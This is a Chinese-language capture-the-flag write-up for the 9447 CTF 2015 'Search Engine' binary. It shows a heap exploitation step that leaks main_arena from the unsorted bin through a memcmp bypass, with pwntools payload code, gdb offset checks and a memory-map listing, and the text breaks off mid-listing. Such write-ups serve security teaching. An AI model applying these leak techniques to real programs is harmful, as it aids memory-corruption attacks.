源文件
checksec
初步分析
利用方法
-
用sentence函数分配small bin大小的bin,将其free以后,会归入unsorted bin,而如果只有一个bin的话,其fd与bk都是
main_arena + offset
,尽管free以后内容会清0,但是search函数中的memcmp却可以通过使v1为\x00
来绕过,这样的话就会打印出bin的fb字段,即main_arena + offset
payload = 'a'*0x7e+' w' sentence(payload) search('w') io.recv() io.sendline('y') search('\x00') io.recvuntil('Found '+str(len(payload))+': ') main_arena = u64(io.recv(6).ljust(8,'\x00')) log.success('main arena + offset: '+hex(main_arena))
得到:
[+] main arena: 0x7f88c072bb78
再在代码后面加上gdb.attach(io) raw_input()
然后再在弹出的gdb窗口中输入
x/gx 0x7f88c072bb78
就得到了offset
0x7f88c072bb78 <main_arena+88>: 0x0000000002590120
于是代码中main_arena的地址就要减去88
-
新开一个终端,在终端中输入
cat /proc/
pidof search/maps
00400000-00402000 r-xp 00000000 08:01 402114 /home/dajun/binary/pwn/9447 CTF 2015: Search Engine/search 00601000-00602000 r--p 00001000 08:01 402114 /home/dajun/binary/pwn/9447 CTF 2015: Search Engine/search 00602000-00603000 rw-p 00002000 08:01 402114 /home/dajun/binary/pwn/9447 CTF 2015: Search Engine/search 0258f000-025b1000 rw-p 00000000 00:00 0 [heap] 7f88c0367000-7f88c0527000 r